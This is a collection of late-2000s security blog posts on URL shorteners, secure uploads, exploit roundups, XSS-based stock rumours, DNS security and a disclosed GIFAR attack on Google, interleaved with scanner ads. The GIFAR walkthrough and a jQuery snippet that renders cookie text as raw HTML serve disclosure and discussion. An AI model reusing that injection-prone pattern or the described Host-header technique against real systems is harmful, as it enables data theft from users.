Are URL shorteners a good thing? Joshua Schachter says no. Therefore, in opposition, Ben Parr says yes. There are legitimate points to be made on both sides. They add complexity to the process. (Shorteners aren’t shorteners: they are redirectors.) They make it easier to tweet (and marginally easier to email). They disguise spam. Some of the sites give you link use data. They create another failure point. They hide the fact that most Twitter users are, in fact, posting exactly the same link as 49,000 other Twitter users.
URL shorteners/redirectors are going to be used: that is a given. Now that they here, they are not going away. Those of pure heart and altruistic (or, at least, monetary only) motive will provide the services, have reasonable respect for privacy, and add functions such as those providing link use data to the originator (and, possibly, user). A number of the sites will be set up to install malware on the originator’s machine, to preferentially try to break the Websites identified, to mine and cross-corelate URL and use data, and to redirect users to malicious sites.
If you are going to use them (and you are, I can tell), then choose wisely, grasshopper. There are lots to choose from. Choose sites that offer preview capabilities. If someone doesn’t use the preview options, you can still add them. http://tinyurl.com/a-short-url-that-expands is the same as [preview.tinyurl.com] : you just have to add the “preview.” part. [is.gd] is even easier: just add a hyphen to the end of the shortened URL. I’m hoping that one of the sites will start checking the database for already existing links, and returning the same “short form”: it’d make it easier to identify all the identical tweets. (With the increasing use of the sites, it will also ensure that the hash space doesn’t expand too quickly, which would be to the advantage of the shortening sites.)
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
In my security career, I have always found file upload module to be one of the most favorite playground for hackers. There are many detailed documents mentioning the guidelines for following secure upload mechanism. Going through them will surely give you a sense of high level of insecurity in file upload module.
So jotted down points which I would take care or recommend for secure uploads.
Proper file type checks: Check for atleast basic parameters like filesize, mime-type etc and allow only a selected MIME type wherever possible. Make a white-list of file extensions to be allowed for upload. Try to keep away from executable files and scripts where possible. Set minimum and maximum file size for upload. This will prevent Dosing the webserver by uploading huge files and exhaust the storage space.
Random filenames and folder: Do not allow user input to specify the destination directory or file name of uploaded documents. Good practice is to rename the document to some random value and track them in your Database. In short guessing the name of the uploaded file should be made difficult for the attacker.
Upload Directory Security: Upload all files outside your web directory. Possibly separate the upload directory from application and system directories/drive. This can help mitigate issues related to resource exhaustion & directory traversal. Set proper folder permissions (chroot() ). Do not allow user to choose the upload folder. Avoid giving writable permissions to users. Instead webserver like apache can be given writable permissions while preventing users from RWX access on the upload folder.
Prevent users from directly accessing the files in the upload directory. Files can directly be stored on the server or other alternative would be to store the files as blobs in database instead. However blobbing for very large files can affect DB performance and also the malicious data if uploaded will be directly saved in database without validating.
Neutering the file like renaming it to some random value or XORing or compressing the file in some way so that the OS doesn’t interpret it as executable etc. will help increase the security barrier.
Anti Virus Scan: Scan the upload files for any virus or malicious content. You can even try out ModSecurity which has a feature for inspecting files on upload, which you can combine with some antivirus. The advantage is that you get to block the HTTP request before the file even gets into your system. Alternatively files can also be scanned immediately just after it is uploaded. Both are affective in their own way and can be adapted accordingly depending on their implementation challenges. Other content filtering techniques include icap or CVP which are worth a thought.
File name Validation: While allowing users to upload the files, we allow them to specify the name the files should be referred to. Application should validate these file names for any XSS attacks.
Uploading and saving uploaded sensitive documents in encrypted form: Sensitive data needs to be uploaded via SSL and saved on the server in encrypted form to protect against eavesdropping. The file can also be encrypted while uploading instead of doing so while saving on the server. There are different products which can help you do this like AspEncrypt etc.
Page tokens: Use unique tokens for upload forms. This can help mitigate the less known Cross-site File Upload Attacks. Thus the attacker cannot upload malicious or illegal content on victim’s account. And if the victim is a web-admin, attacker can help himself upload any malicious file to the directories which is otherwise restricted to other users.
Error page: Do not reveal too much info in the error page like the directory path etc which can help attacker in further attack. Use customized error page.
Proper verb: HTTP POST verb is preferred over HTTP PUT or GET verb as it is comparatively more secure.
ACL: Limit “upload module” access to required users or groups wherever possible.
Logging user activities: Log all activities of the user like in this case, IP of user, size of the file, directory to which file was uploaded etc. This is help us know if any attacks were made against your server and if they were successful.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
0day exploits for Internet Explorer, Firefox, and Safari were used to own machines at the Pwn2Own contest @ CanSecWest 2009. Is now the time for someone to port Windows 3.1 to MIPS and install a good telnet client? Roffles.
Credit www.dailygalaxy.com for the fierce FF/IE photo
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
A new company is telling everyone which new companies are worth investing in. Is this something we should get into?
http://news.bbc.co.uk/go/em/-/2/hi/technology/7900463.stm
“The software measures the “buzz” surrounding a company via blogs and media reports along with a variety of factors including website traffic.”
We should all blog and Twitter about this.
Then we should all blog about how blogging is so last year.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Kaspersky’s USA website was hacked by SQL injection. Maybe they should hire some virus writers to secure their website, or better yet, a good penetration testing team.
Grab more details about the incident here.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
The NATO Parliamentary Website –> www.nato-pa.int was defaced by a Turkish hacker recently.
According to www.nato-pa.int:
“Bringing together members of parliaments throughout the Atlantic Alliance, the NATO Parliamentary Assembly has provided for half a century an essential link between NATO and the parliaments of the NATO nations, helping to build parliamentary and public consensus in support of Alliance policies.”
The server looks like its running Windows 2003 and IIS 6. My guess: SQL Injection, WebDAV exploit, or some other web bug. But something else to think about would be rumors of an IIS 6 0day floating around a while back…
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
I’d like to welcome the first CVE vulnerability in 2009, which is CVE-2008-2381. The first CVE-2009 to be released to the public is CVE-2009-0022 (hat tip to Steven M. Christey).
By all indications we have a year with many vulnerabilities ahead of us - it already started with a major twitter account hack followed by a widespread phishing via DM, and we’re not even a week into 2009. For marginally interesting stats on 2008, visit SecuriTeam’s stats page.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Attacking MD5 to create a rogue CA that is trusted by most modern browsers is a very cool attack. I have to admit that whenever I read about a practical cryptanalysis attack I feel a bit inferior: probably what a desk officer at the Pentagon feels when they meet a Marines soldier coming back from Iraq. It’s like I’m not a “real” security researcher - I only play with SQL injections and Cross Site Scripting when the real soldiers are in the field breaking algorithms.
I can’t remember many times when our team was impressed as much as they were when Zvi Gutterman gave us a talk about breaking the Linux kernel PRNG. That week, everybody stopped looking for buffer overflows and started reading Donald Knuth instead.
But inferiority complex aside, this hole won’t have much impact. SSL certificates are a great idea, that just doesn’t work. When SSL Certificates started, you only got one after the CA verified your identity. This involved sending them a bunch of documents to prove the company’s identity, and them giving you a surprise phone call to see if the information on the web site really matches the submission you gave them, and perhaps other subtle tests. It took a while to get a certificate and so having one meant “you” could be trusted.
But today, it’s hard to say who “you” are. Companies have many web sites for many different purposes, and it’s very difficult to deny them a certificate based on some logic. But it gets worse: SSL Certificates are so abused, that users don’t really care about them. I had two different banks show me certificates that generated browsers errors. Some valid google URLs still produce SSL warnings. This is apparantly so common firefox had to put a scary warning message on top of their regular, already scary, warning message.
So broken SSL certificates are ignored, and valid SSL certificate mean very little - until Firefox 3.0, you had to click on the little lock on the lower right corner to know who the company is behind the certificate. Now that you know - does that mean anything? Is the Banc of America the same as the Bank of America? Pretty much, yes. So what about the band of america? They can apply for a valid SSL certificate and it will match the organiations name nicely.
SSL Certificates are long broken, and not because of a clever attack. However, the fact that there is an effective crypto attack against them may help bury this cadaver and perhaps help bring another solution to the surface.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Internet Explorer 7 XML Buffer Overflow ‘All-In-One’ Exploit
krafty
MS SQL Server Heap Overflow Exploit
Guido Landi
Barracuda Spam Firewall SQL Injection
Marian Ventuneac
CUPS pstopdf Filter Local Exploit
Jon Oberheide
Coolplayer Local Buffer Overflow Exploit
r0ut3r
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Metasploit Decloak in back online. Decloak (v2) now identifies the real IP access of a user using a slick combo of “client-side technologies and custom services”. v2 also works regardless of the user’s proxy settings. The only public technology that it cannot get through is a PROPERLY CONFIGURED Tor+Torbutton+Privoxy setup, HDM mentions.
You can read more about it and if you haven’t already, give it a whirl.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Or, social networking, if you prefer.
Let’s face it, the net is social. The money that went into creating computer networks, and the Internet itself, may have been intended for specific purposes, but as soon it it was there people, being people, were being social.
As soon as the Internet was out of the test-bed (and probably before that), and even before it was known as the Internet, people were using email. A lot. For social things. What are the longest running Usenet “news”groups, and mailing lists of any types? Lists of jokes and discussions of science fiction. Social stuff. (Yeah, the sf geeks are pretty antisocial, by “normal” standards, but for them this stuff is the ultimate in sociability.)
So, what’s new? Oh, “social” networks have the users generate content? What do you think mailing lists are? OK, blogs make it a bit easier to search archives. But archives of mailing lists have been around for a while, too. (And this “easier” stuff is highly subjective. Some blogs can be pretty difficult to plow through in order to find content of interest.)
And what about the Internet itself? It’s the last word in user created content. The protocols and programs that run the net were primarily created by individual users, seeing something they wanted to do, and writing something that would do it. As Dave Clark famously put it, “We believe in: rough consensus and running code.”
Works pretty good, doesn’t it?
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
I hate how paypal, banks and credit card sites kick you out of the login session after a certain timeout.
I can appreciate the need for security - if I leave my desk and my screensave is off, I don’t want a casual visitor to take over my paypal account. But on the other hand, to have to login again just because I happened to catch up on my rss reading is a bit of a hassle.
Cyberauthorize solved it beautifully - I am still logged in, but I do need my password to do anything. Just like with a desktop machine.
I’m not sure how easy it is to bypass - but it certainly needs more than what a casual visitor passing by my desk can do. For me, it’s the exact right balance between security and convenience and I hope this technique will become the ‘default’ behavior in all other web services.
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
A woman working in HP Israel sent an email to hundreds of co-workers accusing (falsely) that a snack made by Osem, one of the largest food manufacturers in Israel and the local subsidiary of the Nestle food giant, is causing infant death.
This email quickly spread and the immediate result was a 6% drop in Osem’s stock in just a few hours.
The email wasn’t very sophisticated. It wasn’t even remotely true and the ministry of health immediately issued a statement confirming the rumour is false. Still, Osem - one of the largest companies in Israel - will see its stock down a few percent over this rumor.
Earlier this month, Apple’s stock went down following rumors that Apple’s CEO Steve Jobs had a heart attack. The Apple stock takes a beating every time that rumor surfaces, and that happens regularly.
Stocks going up or down because of rumors is old as the invention of the stock market. But the Internet makes it easier to create a rumor that reaches far and wide within hours; there is just one more component that is missing: credibility.
Imagine if you saw a news item on Apple.com that discussed the death of CEO and chairman Steve Jobs. Imagine if you saw a clarification text on Osem’s web site explaining that the ‘bamba’ snack is indeed suspect of poisoning infants. This is not difficult to do - I don’t really need to break in or deface the web sites for this to happen - I just need to find a cross site scripting vulnerability and use it for attack.
In fact, we made a quick proof of concept to the Tel Aviv stock exchange a few years ago when we planted a false news item using a cross site scripting attack. The reaction from TASE was familiar to anyone who ever reported a XSS vulnerability: “oh, this is not really a problem as it does not permanently changes the page” (for something that is “not a problem” they sure fixed it within the hour, though).
We’ve repeated this exercise almost every time our vulnerability scanning service found a XSS vulnerability and we had to explain why the report claims it’s a serious issue. We planted false financial reports in the ‘investors’ section, altered news items and in almost all cases, met with the standard reaction: “this is not a real vulnerability” and “how can this really affect me?”
Most security researchers opt to explain XSS as an attack for stealing cookies. While this is true, I think there’s a greater risk in altering the information on the page to visitors which could be useful in a phishing attack, or like the examples above, a speculative attack.
I’m waiting for the first XSS attack that will tank a big company stock. If you’re reading this, make sure your company won’t be the one.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
In a little wiki I’ve been playing with I’ve been trying out little ideas that I’ve had but haven’t had a place to actually implement them. One is how notification messages work. I’m sure other people have done the same thing, but I thought I’d describe it anyway.
A common pattern is to accept a POST request and then redirect the user to some page, setting a status message. Typically the status message is either set in a cookie or in the session, then the standard template for the application has some code to check for a message and display it.
The problem with this is that this breaks all caching — at any time any page can have some message injected into it, basically for no reason at all. So I thought: why not do the whole thing in Javascript? The server will set a cookie, but only Javascript will read it.
The code goes like this; on the server (easily translated into any framework):
resp.set_cookie('flash_message', urllib.quote(msg))
I quote the message because it can contain characters unsafe for cookies, and URL quoting is a particularly easy quoting to apply.
Then I have this Javascript (using jQuery):
$(function () {
// Anything in $(function...) is run on page load
var flashMsg = readCookie('flash_message');
if (flashMsg) {
flashMsg = unescape(flashMsg);
var el = $('<div id="flash-message">'+
'<div id="flash-message-close">'+
'<a title="dismiss this message" '+
'id="flash-message-button" href="#">X</a></div>'+
flashMsg + '</div>');
$('a#flash-message-button', el).bind(
'click', function () {
$(this.parentNode.parentNode).remove();
});
$('#body').prepend(el);
eraseCookie('flash_message');
}
});
Note that I’ve decided to treat the flash message as HTML. I don’t see a strong risk of injection attack in this case, though I must admit I’m a little unclear about what the normal policies are for cross-domain cookie setting.
I use these cookie functions because oddly I can’t find cookie handling functions in jQuery. It’s always weird to me how primitive document.cookie is. Anyway, CSS looks like this:
#flash-message {
margin: 0.5em;
border: 2px solid #000;
background-color: #9f9;
-moz-border-radius: 4px;
text-align: center;
}
#flash-message-close {
float: right;
font-size: 70%;
margin: 2px;
}
a#flash-message-button {
text-decoration: none;
color: #000;
border: 1px solid #9f9;
}
a#flash-message-button:hover {
border: 1px solid #000;
background-color: #009;
color: #fff;
}
This doesn’t have non-Javascript fallback, but I think that’s okay. This isn’t something that a spider would ever see (since spiders shouldn’t be submitting forms that result in update messages). Accessible browsers generally implement Javascript so that’s also not particularly a problem, though there may be additional hints I could give in CSS or Javascript to help make this more readable (if there’s a message, it should probably be the first thing read on the page).
Another common component of pages that varies separate from the page itself is logged-in status, but that’s more heavily connected to your application. Get both into Javascript and you might be able to turn caching way up on a lot of your pages.
Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).
Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!
As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:
The footer looks something like this:
We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.
When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.
After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.
Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.
Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.
Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.
When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.
It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.
I’m sure all of you have Ticketmaster horror stories. (Anyone who has ever bought a ticket through Ticketmaster, that is.) I needed to get a ticket to an event last night. As usual, the only way to get it was through Ticketmaster, and, as usual, the entire process was annoying from beginning to end.
As I was paying, I was noting the various extraneous charges that increased the price from the face value (which includes the tax, of course) to roughly 25% more than that. The one that struck me was the “convenience” charge.
Convenience? Convenience? Who decided this system was convenient? I’m old enough to remember the days when you called, on the phone, and got an actual person, who was associated with the group, or at least the theatre itself, and could tell you what tickets and places were available on what days.
OK, I’m old. But leaving aside issues of efficiency and greater profit margins, what was the person smoking when they decided that this system was convenient? In order to find decent tickets, at decent prices, I had to look up, individually, every single performance, and then search for tickets, separately, in each price range.
And, of course, every time I searched for tickets (I wasn’t told what tickets were available, mind you, no, the system decides what tickets it’s going to offer me), I had to go through the ReCAPTCHA process (which we were just discussing here). And, as my wife, looking over my shoulder as I went through this delay every single time asked, why? It certainly doesn’t provide any security at all. Yes, I know that you are only supposed to get one of the words right, but I’m fairly certain that, in all the queries I did on the system, there were a few where I got neither of the words right. (Several of them were just blobs.) So why is it there? I suppose it is partly security theatre, and partly it is so that Ticketmaster can get a little goodwill for supporting the book transcription project. (Of course, Ticketmaster isn’t supporting the project, you are, whether you want to or not.)
Spare me from convenience …
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
The flaw discovered by Dan Kaminsky put a forthright scare into the entire internet community — and it should have. This attack, which is trivial in nature, could make the difference between sending all your private data to the secure server across the ocean, or to a happy hacker filling his/her eye balls with goodies.
But now, since everyone was woken up, there are two mainstream, proposed solutions in hopes of ending the insecurity in DNS: DNSSEC and DNSCurve. Which one should you bet your network’s integrity on? Better hope your patched or you might get bailiwicked. Let the enlightenment begin.
DNSSEC, or Domain Name System Security Extensions, is a suite of IETF specifications for securing certain kinds of information in DNS. Recently, lots of companies have been gearing up to implement DNSSEC, as a means of securing DNS on the Internet. One man, that opposes DNSSEC, has written his own code to provide a nicer, more secure solution, and far better than DNSSEC. He calls it DNSCurve.
DNSCurve uses high-speed, high-security elliptic cryptography to improve and secure DNS. Daniel J. Bernstein, the creator of DNSCurve and many other high security servers such as qmail and djbdns servers, doesn’t want DNSSEC implemented, but DNSCurve instead. And it is no question which one is the better choice after looking at the comparisons Bernstein makes between the two now rivals.
Some huge advantages with DNSCurve vs DNSSEC are encrypting DNS requests and responses, not publishing lists of DNS records, much stronger cryptography for detecting forgeries, (some) protection against denial of service attacks, and other improvements.
There is one quick, unrelated issue that I disagree with Mr. Bernstein about. After offering $500 “to the first person to publish a verifiable security hole in the latest version of qmail”, he states: “My offer still stands. Nobody has found any security holes in qmail”. But in 2005, Georgi Guninski found one and has confirmed exploitability on 64 bit platforms with a lot of memory.
Bernstein denied his claim and then stated “In May 2005, Georgi Guninski claimed that some potential 64-bit portability problems allowed a “remote exploit in qmail-smtpd.'’ This claim is denied. Nobody gives gigabytes of memory to each qmail-smtpd process, so there is no problem with qmail’s assumption that allocated array lengths fit comfortably into 32 bits.”. Now, to me, and I am sure to many other people as well, an exploitable bug in an exploitable bug. Conditions have to sometimes be met and “can be carried too far”, one might put it, but in this case, it is clear that Guninski found at least one exploitable bug in qmail. Game over. No disrespect to Mr. Bernstein or his code; he does have both great code and concepts. On with my main literature.
So, if I were a betting man (and I am), I would gamble on Bernstein’s all around great approach to making DNS safer, more resilient against attacks, and definatly more secure. Hopefully, people will realize money can’t solve all our problems, but the guys that know what they are doing, can, and might just make some things happen pretty soon.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
I thought I’d try something different (excuse me if its been done before, oh well). Every week I will be making a list of the top 5 exploits of the week, details about them, etc.
So lets get the ball rolling:
#1 Internet Explorer 7 XML Buffer Overflow Exploit (Vista Target) — This remote beauty executes remote code on a vulnerable (probably still unpatched) Internet Explorer 7 machine running Windows Vista. Coded by muts.
#2 Internet Explorer 7 XML Buffer Overflow Exploit (XP SP3 Target) — Exploits the same bug as above but executes code on a Windows XP SP3 target. Coded by Guido Landi.
#3 XOOPS 2.3.1 Multiple LFI Exploits — XOOPS suffers from a few local file inclusion bugs, and DSecRG has some code for you.
#4 Linux Kernel ATMSVC DoS Exploit — Send a kernel into an infinite loop by locally running this exploit on a vulnerable machine. Code by Jon Oberheide.
#5 phpMyAdmin 3.1.0 XSRF Exploit — Cross site scripting attacks are more dangerous than most developers think. Here is exploit code, just don’t have phpMyAdmin open in another tab! Provided by Michael Brooks.
See you all next week with more. Bug on
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Well your favorite website’s, favorite way to see if your human or not has a problem — their ‘protection’ has been ‘broken’. Who knew that asking a user to read and type the contents of a distorted image of text would be so easy for a computer/code to do as well? CAPTCHA’s have never even looked secure to anyone with a open security mind, and those swimming in the unconscious thoughts that some day this ‘protection’ would see its core cracked… well today is your lucky day.
But never fear! There is hope (really..?)! The Carnegie-Mellon University team behind CAPTCHA’s big brother, reCAPTCHA, is for some reason continuing research towards the “effort to mix basic security and useful work”. While the reCAPTCHA service seems like a step in the right direction, I have my doubts. Actually, I think it won’t be too long until the next article at YOURFAVORITETECHNEWSSITE is about this new ‘improvement’ being ‘broken’. Oh internet, have mercy on the little people, and send your spam bots to wreck havoc on another interNET.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
I cam across this interesting article at watchfire. The team there were able to exploit the Google gear infrastructure in order to perform malicious activities.
Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:
To brief the attack, attacker needs to create a text file that contains (malicious) Google Gears commands. He can then put the text content into a target domain by say uploading it to target domain through image files. Attacker then creates a web page which has to be approved for using Google-Gears or the one that hosts user-created content and contains some Google Gears code that loads and executes the malicious code. The code now will run in the context of victim and hence will have permissions to access Google Gears client-side objects such as the DB, the local server data or web resources. This information can then be leaked back to attacker’s web page using Google Gears’ standard messaging mechanism.
Google Team have patched this issue. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files without that value the loading of such worker files is denied.
Full explanation of google gears can be found here.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Online payment system infected with malware? not good.
You are receiving this message because you are a subscriber to online bill payment services through CheckFree or through a provider who contracts with CheckFree for these services. This message is sent on behalf of CheckFree by Silverpop Systems.
December 11, 2008
AVIRAM JENIK[address omitted]
Dear AVIRAM JENIK,
We take great care to keep your personal information secure. As part of these ongoing efforts, we are notifying you that the computer you use for online bill payment may have been exposed to software that puts the security of your computer’s contents at risk. This letter will help you determine if your computer is actually infected and advise you how to fix the problem and protect yourself against future risk.The malicious software affects some but not all customers who accessed online bill payment on Tuesday, December 2, 2008. For a limited period of time, some customers were redirected from the authentic bill payment service to another site that may have installed malicious software. Your computer may be infected if all of the following are true:
- You attempted to access online bill payment between 12:30 a.m. and 10:10 a.m. Eastern time (GMT -5) on Tuesday, December 2, 2008, and
- You were using a computer with the Windows operating system, and
- You reached a blank screen rather than the usual bill payment screen when you attempted to navigate to online bill payment, and
- After reaching the blank screen, your computer’s virus protection program did not tell you via pop-up or other messaging that malicious software was detected and quarantined.
If all four of the conditions above are true, your computer may be infected. [marketing blurb about an AV vendor that was quick enough to cash in]
CheckFree will never ask for your password via email or via phone. If you ever receive an email requesting your password, do not respond and delete the email immediately.
We value your business and your trust, and we apologize for any inconvenience this incident has caused.
Thank you,Art D’Angelo
Vice President, CheckFree Customer Operations
I guess we’ll call this the CheckFree botnet?
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Driving around Sao Paulo you don’t notice it. But when you drive back to the airport it suddenly hits you: billboard advertisements. They suddenly stick out, and you realize through all this time in the city there wasn’t a single billboard advertisement. Unsurprisingly, it’s too easy to get used to the lack of the big-city marketing assault on your senses that you usually see elsewhere. Sao Paulo may be polluted and congested, but when it comes to billboard advertisements there’s just none of it.
Spam is like that. You don’t miss it when it’s gone – you just get more attentive for spam that does get through.
A few months ago, Israel passed a law that might be the first of its kind(*): with very few exceptions, spam is now illegal in Israel. If you receive an email that you didn’t specifically opt-in for, and that email wants to sell you something, and either the entity who sent the email is Israeli or the company that benefits from the email is Israeli, you can sue in court and get the equivalent of $250 for every email you received(!) without any need to prove direct or indirect damages(!!). The law is phrased carefully to close all the obvious loopholes: Israeli companies are liable even if they were using off-shore machines to send the spam, and if you sue them, it’s them that have to prove that the email recepient voluntarily opted to receive those emails. Not only that, but you can’t use an opt-in consent to advertise someone else’s product (hence, list renting won’t work).
For me, seeing this type of law actually working is nothing short of incredible. My inbox was routinely filled with Hebrew emails from some of the largest consumer brands in Israel, who figured it’s cheaper to pay fractions of a cent per email to tell me about attractive deals for mineral water dispensers than take out a TV spot. Having qmail as my mail server allows me to make up emails addresses on-the-fly so I can easily track where a certain advertiser got my email: I signed up for the Jerusalem post alerts and got ads from a bunch of other advertisers. I opened an account in a now-defunct web 1.0 service and my email address for that service was sold on to about a hundred different small-time spammers. I signed up for the Israeli version of ‘classmates’ and in return got bombarded by offers to by TVs at a discount. Oh, and of course the typical spammers who just guessed my email address and are sending me updates about discounted airline tickets to Africa. The typical viagra-style emails arrive in quantities as well, but those are easily filtered out. Hebrew spam is a bit more difficult to filter because some of the legitimate email I get is Hebrew newsletters that I did actually sign up for.
So to think that from December 1, 2008, when the spam law becomes active, I will cut down on my delete-key presses was beyond what I could imagine.
The month of November was as you might expect:unbelievable quantities of emails asking me to opt-in to lists I never heard of. Each trying to convince me of the huge benefits of receiving unsolicited advertisements that might change my life. Some of these emails were angry: spammers don’t like it when their work is interfered, and a group claiming to represent the small businesses who ‘have no other choice than to send spam’ tried to tell me why the law is an immediate threat to small businesses. And when I say ‘tried to tell me’ I mean sent me a few dozen emails a day almost every day that month. Well, I stand unconvinced.
December 1st came, and the flood slowed down. Still the occasional email, usually treading on the border between legal and illegal – like emails that contained a request to opt-into the newsletter (this is allowed by the new law – once only) with a small commercial pitch towards the end. The notorious ‘people and computers’, a hitech magazine and an Israeli representatives of ‘information week’ sent me daily reminders that I have not yet opted in and ’soon’ will stop receiving their daily newsletter if I don’t fix my ways. I would have sued, but the general manager of P&C met Bill Gates once and told him: “can I please have your card?” and when gates gave him his business card he replied with “No, your credit card”. You’ve got to hand it to him: he may be a bit of a jerk, but he is funny.
A couple of newsletters keep coming regularly, beginning the email with a long disclaimer that they are not an advertisement (the content is again borderline, I imagine at some point someone will challenge them in court) and there was the one spam email that arrived last week which I am taking to small claims court to get my $250 charity money.
But other than those – barely a handful, really - a peaceful silence. I can really get used to not getting Hebrew spam. Now if only we can get Russia to follow suit!
By the way: for those wondering where the ‘catch’ is in the spam law – or as the cynics would put it: how is it possible that politicians create an actually useful law – here’s a solution to the paradox. Being the parliamentarian state that Israel is, the law specifically allows political spam to be sent. So not to worry: the politicians excluded themselves nicely. Still, it’s a small price to pay for a relatively clean inbox.
Lets see how long this serenity will last - email is still a very tempting advertising channel. But when the potential cost is $250 per email, suddenly the ROI is not as not as attractive.
(*) I’m not aware of an opt-in spam law that allows anyone to sue the body who benefits from the spam without proof of damage. Please enlighten me if I’m wrong.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Microsoft’s world has been shaken up recently by a new remote command execution exploit for its premier web browser, Internet Explorer.
Quoting a timeline from eEye’s research on this vulnerability makes it this story more interesting:
“11/15/2008 In-The-Wild Exploitation Witnessed By 3rd Party
12/9/2008 Reliable Exploit Code Identified by eEye Research”
The problem is in the code processing XML in Internet Explorer. An attacker can exploit a buffer overflow to execute their own code on the client just by visiting a malicious web page.There are already full exploits for Windows XP and Windows Vista. Apprently, this has been exploited in the wild for some time now. Its too bad that the original bug discoverer didn’t sell his/her code, they probably would have gotten a small fortune (I am talking about totally legitimate agencies, of course).
Also, according to Muts’ Blog, this vulnerability still isn’t patched (Vista updated with latest patches — stated on the blog). Oh Microsoft, we know your good with your Patch Tuesdays and all that stuff, but couldn’t you break down and hand out some emergency patches soon? I mean, should ~50% of the world get owned just in time for Christmas!?
But rapid reader, I bring good news too! Firefox users shouldn’t have a thing to worry about =)
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
AVG Technologies (formerly Grisoft) has been through a lot the last 17 years. Its almost considered an adult! From specializing in security software to… well actually they still do the same thing, they just focus greatly on antivirus and antimalware technology today.
